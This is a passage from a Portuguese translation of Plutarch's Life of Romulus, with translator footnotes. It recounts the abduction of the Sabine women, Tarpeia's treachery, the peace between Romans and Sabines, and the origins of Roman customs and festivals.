de Patres conscripti, que é um nome de grande honra e de grande dignidade, sem inveja. É verdade que no comêço êles foram chamados somente Patres, mas depois, porque houve vários acrescentados aos primeiros, passaram, a ser denominados Patres conscripti, como quem diria pais ajuntados, que é o nome mais venerável que se teria podido inventar para pôr diferença entre os senadores e o povo. Entrementes, êle separou ainda os outros cidadãos poderosos do povo baixo e miúdo, chamando a uns Patronos, que eqüivale a defensores e protetores, e a outros Clientes, que significa aderentes ou recebidos em salvaguarda; e criou entre êles uma admirável benevolência, que os ligou uns aos outros por diversas grandes obrigações recíprocas, porque os patronos declaravam aos seus aderentes asileis, defendiam-lhes as causas em julgamento, davam-lhes conselhos e tomavam em mãos todos os seus negócios; e reciprocamente também os aderentes faziam a côrte aos seus patronos, não somente prestando-lhes tôda a honra e reverência, mas também socorrendo-os com dinheiro para ajudá-los a casar as filhas ou a pagar as dívidas, se eram pobres; e não havia nem lei nem magistrado que pudesse constranger o patrono a dar testemunho contra o seu aderente ou segundo, nem o segundo contra o seu patrono; e depois, todos os outros direitos de aliança foram bem estabelecidos entre êles, exceto somente que se achou odioso e vil que os grandes e poderosos tomassem dinheiro aos pequenos.
XX. Mas já falamos bastante sôbre essa matéria: em suma, quatro meses (11) depois que a cidade foi fundada, assim como escreve Fábio, foi feito o rapto das mulheres; e alguns há que dizem ter sido Rômulo, o qual sendo homem belicoso por natureza e confiando em algumas profecias e respostas dos deuses, que o diziam predestinado, que sua cidade se tornaria muito grande e poderosa, elevando-se em guerras e acrescendo-se em armas, procurou essa côr para ultrajar os Sabinos; e que seja isso verdade, dizem êles que não mandou raptar muitas, mas trinta raparigas somente, como se pedisse mais ocasião de guerra do que tinha necessidade de casamentos: o que todavia não me parece verossímil. Mas, ao contrário, vendo que a cidade ficara incontinenti repleta de gente de tôda espécie, com muito poucas mulheres, porque era gente reunida de todos os países
(11) Dionísio de Halicarnasso e a maior parte dos historiadores colocam o rapto das Sabinas no quarto ano da fundação de Roma.
e a maior parte pobres necessitados que não se conheciam, de maneira que os seus vizinhos os tinham em grande desprezo e não se esperava que por muito tempo continuassem juntos, êle esperou por meio dêsse rapto que lhes fôsse dado entrar em aliança com os Sabinos e começar a misturar-se de algum modo com êles, quando as mulheres fossem tratadas com doçura. Assim empreendeu executar o rapto desta maneira: fêz primeiro correr por tôda parte o rumor de que encontrara o altar de um deus escondido dentro da terra, e a êsse deus chamaram Conso, ou porque fôsse um deus de conselho, e os Romanos ainda hoje em sua língua chamam Consilium ao conselho, e Cônsules aos primeiros magistrados da cidade, como quem dissesse Conselheiros, ou porque fôsse Netuno, sobrenomeado o Cavaleiro, ou ainda o Patrono dos cavalos, porque êsse altar está hoje dentro das grandes liças, coberto e oculto todo o resto do tempo, exceto quando se fazem os jogos das corridas de cavalos. Dizem outros que porque é preciso que um conselho seja ordinariamente mantido secreto e coberto, êles emprestaram à boa causa êsse altar do deus Conso, oculto dentro da terra; mas, quando foi descoberto, Rômulo fez um sacrifício de magnífica alegria e mandou publicar por tôda parte que ém certo dia prefixado se realizariam em Roma jogos públicos e se faria uma festa solene, onde todos os que desejassem comparecer seriam recebidos. Grande multidão de povo ali acorreu de tôdas as partes; e assentou-se êle no mais honroso lugar das liças, vestido cora uma bela túnica de púrpura, acompanhado dos principais homens da cidade ao redor de si, e tinha dado o sinal para começar o rapto, quando se levantou de súbito, dobrou uma aba de sua túnica e depois a desdobrou. Seus homens estavam de atalaia, armados de espadas; e, logo que perceberam o sinal, puseram-se a correr de um lado para outro, empunhando as espadas, com grandes gritos, e raptaram e levaram as jovens Sabinas, deixando fugir os homens, sem causar-lhes outro desprazer. Dizem alguns que houve somente trinta raptadas, cujos nomes foram dados às trinta linhagens do povo Romano; todavia, Valério Âncio escreve que houve quinhentas e vinte e sete; e Juba, seiscentas e oitenta e três. Grandemente notório, como descargo de Rômulo, é que êle tomou apenas uma, chamada Hersília, a qual depois foi causa de mediação e acordo entre os Sabinos e os de Roma: o que mostra não ter sido para fazer injúria aos Sabinos, nem para satisfazer nenhum desordenado apetite, que êles empreenderam êsse rapto, antes para conjugar dois povos entre si com os mais estreitos laços existentes entre os homens. Essa Hersília, como dizem alguns, foi casada com um Hostílio, o mais nobre que então havia entre os Romanos, ou, como escrevem outros, com o próprio Rômulo, que teve dela dois filhos: o primeiro foi uma filha com o nome de Prima, porque era a primeira; o outro foi um filho que se chammou Aólio, por causa da aglomeração de povo que reunira em sua cidade, e depois foi sobrenomeado Abílio. Assim escreve Zenódoto de Trezena: no que, todavia, vários o contradizem.
XXI. Mas, entre os que raptavam então as jovens Sabinas, dizem que houve algumas pessoas de pequeno estado, que dentre elas retiraram uma maravilhosamente bela e robusta. Encontraram êles casualmente em seu caminho alguns dos principais da cidade, que lha quiseram tirar pela fôrça; e, como , o tivesem feito, puseram-se a gritar que a levavam a Talássio (12), jovem bem estimado e querido de todos, porquanto, ao ouvirem os outros que era para êle, fizeram grande festa e os louvaram por isso; de sorte que houve alguns que voltaram sem mais aquela com êles e os acompanharam por amor a Talássio, gritando em altas vozes e repetindo freqüentemente seu nome: de onde veio o costume de até hoje em suas núpcias os Romanos cantarem Talássio, exatamente como os gregos cantam Himeneu, porque se diz que êle foi feliz por ter encontrado essa mulher Mas Séxtio Sila de Cartago, homem de gentil espírito e de bom saber, disse-me outrora que era o grito e o sinal que Rômulo dera à sua gente para começar o rapto: naquela ocasião, os que roubavam iam gritando essa palavra Talássio, e daí ficou o costume de ser cantado ainda nas núpcias. Todavia, a
(12) No grego, Talásio.
maior parte dos autores, do mesmo modo que Juba, estima que se trate de uma admoestação, para advertir as recém-casadas a pensar em fazer bem a sua tarefa de fiar, a que os Gregos dão o nome de Talássia (13), não existindo ainda na época as palavras italianas misturadas entre as gregas. E, se isso é verdade, que então os Romanos usassem desse têrmo Talássia como nós outros Gregos, poder-se-ia por conjectura dar outra razão na qual haveria mais aparência: pois, quando os Sabinos, após a batalha, fizeram a paz com os Romanos, puseram êles no tratado, em favor das mulheres, um artigo pelo qual elas não seriam obrigadas a servir os maridos em outro mister senão o de fiar a lã. Daí veio depois o costume de que aquêles que dão suas filhas em casamento, ou que conduzem as recém-casadas, ou que estão presentes às núpcias, gritam por brincadeira aos recém-casados, rindo, Talássio como que testemunhando que a esposa é conduzida para a casa do marido não com o encargo de outro serviço que o de fiar a lã.
XXII. Daí ficou também até hoje o costume de que a recém-casada não atravessa por si mesma a soleira da porta da casa do marido, mas a levam para dentro, por isso que então as Sabinas foram assim raptadas e levadas pela força, E dizem ainda que o costume de repartir os cabelos das recém-casadas
(13) No grego, Talásia.
com o ferro de uma lança vem também daí, sendo sinal de que essas primeiras núpcias se realizaram pela força das armas e, por assim dizer, à ponta de espada, como escrevemos mais amplamente no livro em que damos as cousas das maneiras de agir e costumes de Roma. Êsse rapto foi executado aproximadamente no dia dezoito do mês que então se chamava Sextil e agora se denomina Augusto: dia no qual é ainda celebrada a festa que tem o nome de Consália.
XXIII. Ora, eram bem os Sabinos homens de guerra e tinham povo grandemente numeroso, mas habitavam pequenos burgos não cercados de muralhas, sendo coisa pertinente à sua magnanimidade não temer nada, como aquêles que descendiam dos Lecedemônios; todavia, vendo-se penhorados e obrigados através de reféns que lhes ficavam tão perto, e temendo que suas jovens fossem maltratadas, enviaram embaixadores a Rômulo, por intermédio dos quais lhe fizeram ofertas e observações muito razoáveis: «Que mandasse entregar-lhes as jovens sem usar de fôrça nem de violência; e depois mandasse pedi-las em casamento aos pais, assim como a razão e as leis o exigiam, a fim de que, por vontade e consentimento das partes os dois povos viessem a contratar amizade e aliança recíprocas». Ao que respondeu Rômulo que não entregaria as jovens que sua gente raptara mas pedia com empenho aos Sabinos que tratassem de ter por agradável sua aliança»
(14) Essa festa, que se chamava Consuália, é marcada para o dia 13 do mês de agosto, nos antigos calendários romanos.
XXIV. Ouvida essa resposta, enquanto os outros príncipes e comunais dos Sabinos se entretinham em consultar e em preparar-se, Ácron, rei dos Cênicos, homem corajoso e bem entendido em matéria de guerra, e que desde o comêço suspeitara das ousadas emprêsas de Rômulo, vendo ainda de novo êsse rapto das jovens, estimou que êle devia já ser temido por todos os vizinhos, não sendo tolerável que não fôsse castigado. Foi assim o primeiro que marchou contra êle, para fazer-lhe a guerra com um poderoso exército. Rômulo, do outro lado, lhe foi também ao encontro. Quando ficaram tão perto um do outro que puderam entrever-se, desafiaram-se reciprocamente a combater de homem para homem no meio de seus dois exércitos, sem que êstes se mexessem. E Rômulo dirigindo a Júpiter sua prece, prometeu-lhe e votou que lhe faria oferenda das armas do inimigo, se êle lhe desse a graça de o derrotar. Assim o fêz, pois o matou em seguida e depois deu batalha à sua gente, desbaratando-a, e afinal tomou-lhe a cidade, onde não causou mal nem desgosto algum aos que encontrou no interior, senão que lhes ordenou a demolição e destruição de suas casas, para irem habitar em Roma, onde teriam todos os mesmos direitos e os mesmos privilégios que os primeiros ha-bitantes. Não há nada que tenha mais aumentado a cidade de Roma do que essa maneira de juntar e incorporar sempre consigo os que vencia.
XXV- Mas Rômulo, querendo cumprir seu voto, de sorte que sua oferenda fôsse muito agradável a Júpiter e muito deleitável aos olhos de seus cidadãos, cortou uma bela, grande e direita carvalheira afortunadamente encontrada no lugar onde seu acampamento estava situado e enfeitou-a em forma de troféu, pendurando e ligando em volta, pela ordem as armas do rei Ácron; depois, cingiu a túnica e, pondo uma coroa de louros por cima de sua longa peruca (15), carregou sôbre o ombro direito a carvalheira, com a qual se pôs a marchar para a frente, na direção de sua cidade, começando a entoar uma canção real de vitória, seguido por todo o exército em armas até dentro de Roma, onde os concidadãos o receberam com grande alegria e grandes louvores. Essa pomposa entrada deu comêço e reputação para se fazer desejar, aos triunfos que se fizeram depois, mas a oferenda do troféu foi dedicada a Júpiter sobrenomeado Ferétrio, porque essa palavra latina Fe rire significa bater e matar; e a prece que havia Rô mulo feito era que ele pudesse ferir e matar o inimigo. -Tais despojos se chamam em latim Spolia opima, por isso que, diz Varro, Opes significa riqueza; todavia,
(15) E’ o nome que se dava, no tempo de Amyot, a umu longa cabeleira.
mais verossímil me pareceria dizer que tinham sido chamados por essa palavra opus, que significa obra ou ato, porque é preciso ser o próprio chefe do exército, que matou com sua própria mão o comandante-chefe dos inimigos, para poder oferecer tal oblata de despojos, que se chama Spolia opima, como quem dissesse despojos principais. O que ainda não aconteceu senão a três capitães romanos somente: dos quais o primeiro foi Rômulo, que matou Ácron, rei dos Cênicos; e segundo foi Cornélio Cosso, que matou Tolumnio, capitão-geral dos Toscanos; e o terceiro foi Cláudio Marcelo , que com sua mão abateu Britomarto, rei dos Gauleses. E, quanto aos dois últimos, Cosso e Marcelo, entraram êles na cidade levando os troféus sôbre carrêtas triunfantes: mas Rômulo, não. E, portanto, falhou nesse ponto o historiador Dionísio, ao escrever que Rômulo entrou em Roma sôbre uma carrêta de triunfo: pois foi Tarqüínio, filho de Demarato, o primeiro que elevou os triunfos a essa soberba magnificência; sustentam outros que foi Valério Publícola quem entrou primeiro em cima de uma carrêta triunfal. Quanto a Rômulo, vêem-se ainda em Roma suas estátuas levando êsse troféu inteiramente a pé.
XXVÏ. Após essa luta dos Cênicos, os habitantes das cidades de Fidena, Crustumério, Antemnas, bandearam-se todos contra os Romanos, enquanto os outros Sabinos ainda se preparavam. Assim houve batalha, na qual êles foram derrotados; e abandonaram suas cidades em poder de Rômulo e suas terras para repartir a quem êle quisesse, deixando-se êles próprios transportar para Roma. Rômulo distribuiu as terras a seus cidadãos, exceto as que pertenciam aos pais das jovens raptadas. Pois quis que êstes as retivessem. Gravemente indignados com isso, os outros Sabinos elegeram capitão-general um chamado Tácio e avançaram com um poderoso exército até à cidade de Roma, a qual era então de difícil acesso, tendo por terrapleno o castelo onde está hoje o Capitólio; e havia dentro uma grande guarnição de que era comandante Tarpéio, e não sua filha Tarpéia, como querem alguns dizer, fazendo de Rômulo um tolo; mas a filha do camandante, Tarpéia, vendeu a praça aos Sabinos, por desejar possuir os braceletes de ouro que êles traziam em volta dos braços; e pediu-lhes para alugar a traição, o que êles levavam nos braços esquerdos. Tácio lho prometeu, e ela, à noite, abriu-lhes uma porta pela qual introduziu os Sabinos no castelo. Antígono, pois, não ficou só, ao dizer que amava os que traíam e odiava os que haviam traído; nem César Augusto, que disse a Remetalces da Trácia que amava a traição, mas odiava os traidores: é antes uma comum afeição que se tem pelos maus enquanto se tem negócio com êles, exatamente com os que têm negócio com o fel e o veneno de alguns animais venenosos, pois ficam satisfeitos quando os encontram e os tomam para servirem-se dêles em seus desígnios; mas, uma vez atingido o que desejavam, odeiam-lhes a malícia. Assim fez então Tácio: pois, quando se viu dentro da fortaleza, ordenou aos Sabinos que, de acordo com a promessa que fizera a Tarpéia, não lhe poupassem nem retivessem nada de tudo quanto traziam nos braços esquerdos; e, tirando primeiro êle próprio de seu braço o bracelete que levava, atirou-lho assim como depois o escudo: todos os outros fizeram outro tanto, de sorte que, lançada por terra a golpes de braceletes e de paveses, ela morreu sufocada pelo fardo; todavia, Tarpeio foi também atingido e convencido de traição no processo de Rômulo, como diz Juba que Sulpício Galba. escreveu. Entrementes, os que de outro modo escrevem sôbre essa Tarpéia, dizendo que era filha de Tácio, comandante dos Sabinos, e que era forçada a deitar-se com Rômulo; e que, após haver feito a traição que descrevemos, foi assim, punida pelo próprio pai — êsses, digo eu, entre os quais está Antígono, não merecem nenhum crédito. E ainda mais sonha o poeta Símile, ao dizer que Tarpéia vendeu o Capitólio, não aos Sabinos, mas ao rei dos Gauleses, do qual se enamorara; e o diz nestes versos:
Tarpéia (16), a jovem que morava então
No alto do Capitólio, à traição
Fêz tomar Roma, pela cupidez
(16) Nas Observações se encontrará uma tradução mais fiei dêsses dois fragmentos.
De ter um dia o amor do rei Gaulés, Ao qual, naquela fútil esperança, Entregou de seu pai a própria herança.
E, um pouco depois, falando da maneira de sua morte, diz ainda:
Mas os Gauleses, que na praça entraram,
Dentro do Pó o corpo não lançaram,
Preferindo cobri-lo belicosos,
Com seus belos broquéis, tão numerosos
Que dessa forma a pobre criatura
Debaixo dêles teve sepultura.
Essa jovem, pois, tendo sido enterrada no mesmo lugar, todo o monte foi mais tarde chamado Tarpéio e conservou esse nome até que o rei Tarqüínio dedicou tôda a praça a Júpiter, pois então foram transportados seus ossos para outro lugar, e mudou seu nome; de modo que ainda hoje se dá a uma rocha situada nesse monte de Capitólio o nome de Rupes Tarpeia (17), da qual era costume antigamente precipitar embaixo os malfeitores.
XXVII. Quando, pois, os Sabinos ficaram senhores da fortaleza, Rômulo se encolerizou e mandou desafiá-los a entrarem em batalha: o que Tácio não recusou, vendo que, se porventura fossem forçados, tinham uma segura retirada, pois o lugar en-
(17) Rocha Tarpéia
tre os dois exércitos, no qual deviam combater, era em tôda a volta cercado de pequenas montanhas; de sorte que era aparente que o combate ali seria áspero e penoso, por causa da incomodidade do lugar, no qual não se poderia nem fugir nem repelir para longe, tão constrita era a praça. Ora, acidentalmente, alguns dias antes o rio Tibre transbordara, daí resultando um atoleiro mais profundo do que parecia visto de cima, porque ficava em lugar plano, no ponto mesmo onde está a grande praça de Roma: tal não se reconhecia à primeira vista, porque a parte superior formava uma crosta, de modo que era fácil cair dentro e difícil sair, pois a parte inferior afundava. Assim, teriam os Sabinos dado diretamente dentro, não fôra o perigo por que passara Cúrcio, que afortunadamente os livrou disso. Era êle um dos mais nobres e mais valentes homens dos Sabinos, e tendo montado um corcel, marchava bem distante, em frente à tropa dos outros. O corcel foi lançar-se dentro do atoleiro e êle, que estava em cima, sentindo-o afundar, tratou logo de o fazer sair dali, à força de o picar e fatigar; mas, por fim, vendo que não podia livrar-se, deixou-o e se salvou. O lugar onde isso aconteceu é ainda hoje chamado por seu nome, Lacus Curtius. Os Sabinos, pois, evitando esse perigo, começaram a batalha, que foi áspera e durou longamente, sem que a vitória se inclinasse mais para uma parte do que para a outra; e, não obstante, houve grande número de mortos, entre os quais Hostílio, que se diz ter sido marido de Hersília e avô de Hostílio, que foi rei dos Romanos após Numa Pompílio.
XXVII. Houve depois ainda vários outros recontros em poucos dias, como se pode imaginar; faz-se menção, porém, do último de todos, no qual Rômulo recebeu uma pedrada na cabeça, tão forte que pouco faltou para tombar por terra (18) e de tal maneira que foi constrangido a retirar-se um pouco para trás da refrega; nessa ocasião, os Romanos recuaram também e fugiram para o monte Palatino, tendo sido expulsos da planície. Rômulo começava já a refazer-se do golpe que recebera e quis retornar ao combate, gritando tanto quanto podia à sua gente, para que resistisse e fizesse face ao inimigo; mas nem por isso deixavam êles de fugir sempre ao longo da estrada, e não havia nenhum que ousasse voltar. Então, levantando as mãos para o céu, pediu a Júpiter que lhe permitisse deter a fuga de seus homens e não deixasse que os negócios dos Romanos se arruinassem daquela maneira, antes os restabelecesse. Bem não tinha acabado a prece, vários dos seus homens que escapavam começaram a ter vergonha de fugir diante do seu rei e de repente lhes veio uma segurança em lugar de mêdo, de sorte que pararam primeiramente no lugar onde é agora o templo de Júpiter Estator, o que vale tanto como dizer Parador; depois, zombando uns dos outros, repeliram os Sabinos até ao lugar que no presente se cha-
(18) O grego: como já não resistisse aos Sabinos, foi. C.
ma Régia e até ao templo da deusa Vesta, onde, como os dois batalhões se preparassem para recomeçarem a combater de novo, apresentou-se diante deles uma coisa estranha de se ver e mais maravilhosa do que poderia narrar, que os livrou disso. Pois os Sabinos que os Romanos tinham raptado acorreram, umas de um lado, outras de outro, com prantos, gritos e clamores, lançando-se através das armas e dos mortos que jaziam por terra, de maneira que pareciam fora de si ou possessas de algum espírito; e em tal estado foram encontrar seus pais e maridos, umas levando entre os braços filhinhos que ainda mamavam, outras descabeladas, e todas chamando ora os Sabinos e ora os Romanos, pelos mais doces nomes existentes entre os homens; o que enterneceu os corações de uns e de outros, de maneira que êles se retiraram um pouco e lhes fizeram praça entre as duas batalhas. Foram assim os seus gritos e lamentos ouvidos claramente por todos e não houve aquêle a quem elas não causassem grande piedade, tanto por vê-las em tal estado como por ouvir as palavras que diziam, acrescentando aos francos enunciados de suas razões as mais humildes preces e súplicas de que podiam advertir-se.
XXIX. «Pois que ofensa (diriam elas) ou que desgosto vos fizemos para merecermos tantos males que já sofremos e que nos fazeis ainda sofrer agora? Fomos violentamente e contra as leis raptadas por aquêles com quem estamos atualmente; mas nossos pais, nossos irmãos, nossos parentes e amigos nos abandonaram tão longamente que a extensão do tempo, tendo-nos ligado com os mais estreitos laços do mundo àqueles que odiávamos mortalmente, nos constrangeu agora a ter mêdo vendo combater e a lamentar vendo morrer os que então nos raptaram injustamente, Pois não viestes procurar-nos quando estávamos ainda intactas e retirar-nos das mãos dos que nos detinham iniquamente, e vindes agora para tirar as mulheres aos maridos e as mães às crianças, de sorte que a socorro que vós cuidais trazer-nos agora nos é mais penoso do que o abandono no qual então nos deixastes e que não foi tão doloroso: tal é a amizade que eles nos demonstraram e tal a piedade que tendes agora de nós. Se, pois, combatêsseis por alguma outra causa, diferente de nós, ainda seria razoável que cessásseis o combate por amor a nós, por quem vos fizestes sogros, avós, aliados e cunhados daqueles contra os quais combateis. Mas, se assim, é que tôda esta guerra não foi empreendida senão por nós, então vos suplicamos de todo o coração que nos queirais receber como vossos genros e netos, sem nos querer privar dos nossos maridos e dos nossos filhos, nem nos querer entregar cativas e prisioneiras mais uma vez.»
XXX. Ouvidas tais súplicas e reprimendas de Hersília e das outras damas Sabinas, os dois exércitos depuseram as armas e os dois chefes falaram um com o outro; durante o qual parlamento, elas conduziram os maridos e os filhos aos seus pais e irmãos, levaram de comer e de beber aos que o desejaram, pensaram os feridos e, introduzindo-os em suas moradias, mostraram-lhes como eram donas das casas de seus maridos e como êstes as- tinham em grande conta, prestando-lhes tôdas as honras com amizade conjugal; de maneira que, finalmente, houve um acordo pelo qual ficou estabelecido que as Sabinas que desejassem ficar com aquêles que as possuíam ali permanecessem, isentas de qualquer outra incumbência e de qualquer outro serviço, como dissemos antes, senão o de fiar a lã; e também que os Sabinos e os Romanos habitariam juntamente dentro da cidade, a qual seria chamada Roma, do nome de Rômulo; e os habitantes seriam chamados Quiri-tes, do nome (19) da cidade onde Tácio era rei dos Sabinos; e que ambos reinassem e governassem de comum acordo. O lugar onde se firmou tal pacto é ainda hoje chamado Comitium, porque Coíre (20), em linguagem latina, significa reunir-se. Assim aumentada a cidade da metade, ajuntaram-se cem novos patrícios Sabinos aos cem primeiros Romanos, e foram pois feitas as legiões de seus mil homens a pé (21 ) e de seiscentos a cavalo, e se distribuíram todos os habitantes em três linhagens, sendo os de Rômulo
(19) Chamavam-se Curetos os habitantes de Curos, antiga capital dos Sabinos. — N. do ed. bras.
(20) No grego: Comire.
(21) Vide as Observações, cap. XXX.
chamados Ramnenses, de seu nome; os do lado de Tácio, Tacienses; e os da terceira, Lucerenses, por causa do bosque ao qual acorreu grande número de pessoas de tôda espécie, desde que ali se deu livre acesso a todos os que vinham, os quais foram depois feitos cidadãos Romanos, pois em latim os bosques são chamados Lucos. Ora, que no começo houvesse em Roma três linhagens somente, e não mais, a própria palavra tribus, que significa linhagem, o testemunha, pois assim lhes chamam os Romanos ainda hoje, e tribunos aos seus chefes; mas cada uma dessas linhagens principais tinha sob si mais dez outras particulares, as quais alguns estimam haverem sido chamadas pelos nomes das damas Sabinas, mas isso é falso, porque várias trazem os nomes de alguns lugares.
XXXI. Todavia, houve várias coisas estabelecidas e ordenadas em honra das damas, como ceder-lhes e dar-lhes o lugar mais elevado quando encontradas pelo caminho; não dizer nada de sujo nem de desonesto em sua presença; não se despir (22) diante delas; não poderem ser chamadas à justiça perante os juizes criminais que conhecem dos homicídios; que seus filhos trouxessem ao colo uma espécie de baga que se chamava Bulla, por isso que é quase como essas garrafinhas que se formam em cima da água quando começa a chover; e que suas saias fossem bordadas de púrpura.
(22) No grego; não se mostrar nu, C,
XXXII. Assim não conferenciavam os dois reis logo que as questões sobrevinham, mas cada qual deliberava primeiramente à parte, com seus cem senadores, e depois se reuniam todos. Tácio residia no lugar onde é agora o templo de Juno Monēta, e Rômulo no lugar a que hoje se dá o nome de Degraus de bela margem, que ficam na descida do monte Palatino, assim como se vai ao parque das grandes liças (23), onde dizem que outrora estava a santa sorveira (24), do que se conta o seguinte: Rômulo, querendo um dia experimentar sua fôrça, atirou (dizem) ‘do monte Aventino até lá uma lança cujo cabo era de sorveira: o ferro penetrou de tal modo a terra, forte e gorda, que ninguém pôde arrancá-la, ainda que vários o tentassem e nisso pusessem todo o esforço. A terra, sendo própria para nutrir árvores, cobriu a ponta do cabo, que criou raiz e começou a dar ramos, de tal maneira que com o tempo se tornou uma bela e grande sorveira, que os sucessores de Rômulo cercaram de muralha em tôda a volta, reverenciando-a e preservando-a como coisa muito santa; e, se porventura, alguém ia vê-la e não ia achava fresca e verdejante, antes como árvore que vai fenecendo e secando por falta de nutrição, dizia-o amedrontado a todos os que encontrava, e êles, nem mais nem menos do que se tratasse de extinguir um fogo, iam gritando por tôda
(23) O grande Circo.
(24) No grego: cornalheira.
parte: «Água, água»; e de tôda parte se acorria com vasos creios de água, para regá-la e embebê-la. Mas, no tempo de Caio César, que mandou refazer esses degraus, os operários, segundo se diz, cavando e esburacando tudo à volta da sorveira, por desleixo lhe ofenderam as raízes, de modo que a árvore secou inteiramente.
XXXIII. Ora, receberam os Sabinos os meses dos Romanos, com referência aos quais escrevemos suficientemente na vida de Numa; mas também Rômulo usou de seus escudos e mudou o feitio das armas de que antes usavam tanto êle como seus homens: pois levavam pequenos escudos, à maneira dos Argianos. E, quanto às festas e sacrifícios, êles as comunicavam entre si, e não aboliram nenhuma daquelas que ambos os povos observavam antes, mas lhes acrescentaram outras novas, como a que se denomina Matronália (25), que foi instituída em honra das damas, porque estas haviam sido causa de se fazer a paz; e também a de Carmentália (26), a qual alguns estimam ser a deusa fatal, que domina e preside ao nascimento do homem, razão por que as mães a reclamam e a honram. Dizem outros que era a mulher de Evandro de Arcádia, a qual, sendo profe-
(25) Essa festa era celebrada no primeiro dia de março e no primeiro dia de abril.
(26) Celebrava-se em 11 de janeiro. Realizava-se ainda uma segunda festa a 15. Carmenta era a mãe e não a mulher de Evandro. O próprio Plutarco o diz nas Demandas Romanas, Dem. LVI.
tisa inspirada pelo deus Febo, transmitia os oráculos em versos, pelo que foi sobrenomeada Carmenta, porque Carmina em latim significam versos: pois é certo que seu próprio nome era Nicóstrata. Todavia, há quem dê outra derivação e interpretação mais verossímil a essa palavra Carmenta, como se fôsse Carens mente, que significa fora do senso, pelo furor que domina os que são inspirados de espírito profético. Pois em latim Carere significa ser privado e Mens significa o senso e o entendimento. Quanto à festa de Palília, falamos dela precedentemente (27); mas a de Lupercália (28), considerado o tempo no qual é celebrada, parece ter sido instituída para uma purificação, pois se realiza em dias desencontrados do mês de fevereiro, nome que, interpretado, significa o mesmo que purificativo; e ao dia em que era celebrada se dava antigamente o nome de Februata. Mas o nome próprio da festa vale tanto como dizer a festa dos Lôbos, causa pela qual parece ser muito antiga’, tendo sido instituída pelos Árcades que vieram com Evandro, conquanto o nome seja comum tanto às lôbas como aos lôbos, podendo ter sido imposto por causa da lôba que nutriu Rômulo, pois vemos que os que nesse dia correm pela cidade, chamados Luperci, começam a corrida no próprio lugar em que se diz ter sido Rômulo exposto. Mas então se fa~
(27) Vide o cap. XVII.
(28) Celebrava-se no dia 15 de fevereiro em honra do deus Pã, que se chamava Luperco porque afastava os lôbos, zem coisas cuja causa e origem seria bem difícil conjecturar: matam-se cabras e conduzem-se dois jovens de nobre casa, aos quais se toca a fronte com a faca tinta do sangue das cabras imoladas, e depois são eles enxugados com lã temperada no leite, e é preciso que os jovens se ponham a rir depois que lhes enxugam a fronte; isso feito, cortam-se as peles das cabras e com elas se fazem correias que eles tomam nas mãos, e vão correndo pela cidade inteiramente nus, tendo apenas um pano cingido diante da natureza; e batem com as correias nos que encontram em caminho; mas as jovens não os evitam, antes ficam satisfeitas quando são batidas, estimando que isso lhes. sirva para ficarem grávidas e darem à luz com facilidade. Há ainda outra particularidade nessa festa: é que os Lupercos, isto é, os que correm, sacrificam um cão. Mas um poeta chamado Butas, em certas elegias que escreveu, onde apresenta causas fabulosas para os costumes e cerimônias de Roma, diz que Rômulo, após haver derrotado Amúlio, pôs-se a correr, com grande alegria, no mesmo lugar em que a lôba dera de mamar a seu irmão e a êle; em memória dessa corrida, diz êle, a festa de Lupercália é celebrada, e jovens de nobre casa correm então pela cidade^ batendo e ferindo os que encontram no caminho, para recordar que Remo e Rômulo correram desde Alba até àquele lugar, tendo as espadas seguras nas mãos; e que se lhes toca a fronte com uma faca tinta de sangue, como lembrança do perigo de serem mortos em que então estiveram; e, depois de tudo, que se lhes enxuga a fronte com leite, para comemorar a maneira como foram aleitados. Mas Caio Acílio escreve que Remo e Rômulo antes de haver sido Roma construída, extraviaram um dia seus animais e, para procurá-los, após terem dirigido preces a Fauno, puseram-se a correr inteiramente nus em várias direções, de medo que o suor os impedisse; e que é a causa pela qual hoje os Lupercos correm inteiramente nus. E, se é verdade que tal sacrifício se faça para uma purificação, poder-se-ia dizer que êles imolam um cão com êsse fim, exatamente como os Gregos levam (29) para fora os cães e em vários lugares observam aquela cerimônia de expulsar os cães, o que tem o nome de Periscilacis-mos; ou melhor, se é para dar graças à lôba que alei-tou e evitou que Rômulo perecesse que os Romanos solenizam essa festa, não é sem propósito que se sacrifique um cão, porque é o inimigo dos lôbos; se porventura não se quisesse dizer que foi para castigar essa fera, que prejudica e impede os Lupercos quando êles correm.
XXXIV. Dizem também alguns que foi Rômulo o primeiro que instituiu a religião de guardar o fogo santo e que ordenou as virgens sagradas que se chamam Vestais; atribuem-no outros a Numa
(29) No grego: levam para fona os cães e observam ainda essa cerimônia, chamada Periscilacismo. Vide, como explicação dessa passagem, as Questões Romanas, Quest. 68. C.
Pompílio. Como quer que seja, é bem certo que êle foi homem muito devoto e bem entendido na arte de adivinhar as coisas futuras pelo vôo dos pássaros, que era a causa pela qual levava ordinariamente o bastão augurai, que em latim tem o nome de Lituus. É uma vêrga curvada pela extremidade, com a qual os adivinhos, quando se assentam para contemplar o vôo dos pássaros, designam e marcam as regiões do céu, Ficava cuidadosamente guardada dentro do palácio, mas se extraviou no tempo da guerra dos Gauleses, quando a cidade de Roma foi tomada; e, depois que os bárbaros foram expulsos, tornaram a encontrá-la intacta, segundo se diz, dentro de um alto montão de cinzas, sem que de nenhum modo estivesse prejudicada, ao passo que tôdas as outras coisas ao redor tinham sido consumidas ou arruinadas pelo fogo.
XXXV. Fez êle também algumas ordenanças, entre as quais uma existe que parece um pouco dura, a qual não permite que a mulher deixe o marido e dá licença ao marido para deixar a mulher quando acaso ela tenha envenenado os filhos, ou falsificado as chaves, ou cometido adultério; e, se por outro motivo a repudiasse, a metade dos bens era adjudicada à mulher e a outra à deusa Ceres; e mandava que aquêle que repudiasse a mulher sacrificasse aos deuses da terra. Mas isso é próprio e particular em Rômulo, que, não tendo estabelecido nenhuma pena contra os parricidas, isto é, contra os que matam o pai ou a mãe, chama contudo parricídio a todo homicídio, como sendo execrável um, e o outro impossível. Assim pareceu longamente que êle tinha razão de pensar que jamais tal maldade acontecesse, pois não se achou ninguém em Roma que cometesse tal crime no espaço de seiscentos anos; e o primeiro parricida foi Lúcio Óstio, depois da guerra de Aníbal. Mas já se falou bastante sôbre o assunto.
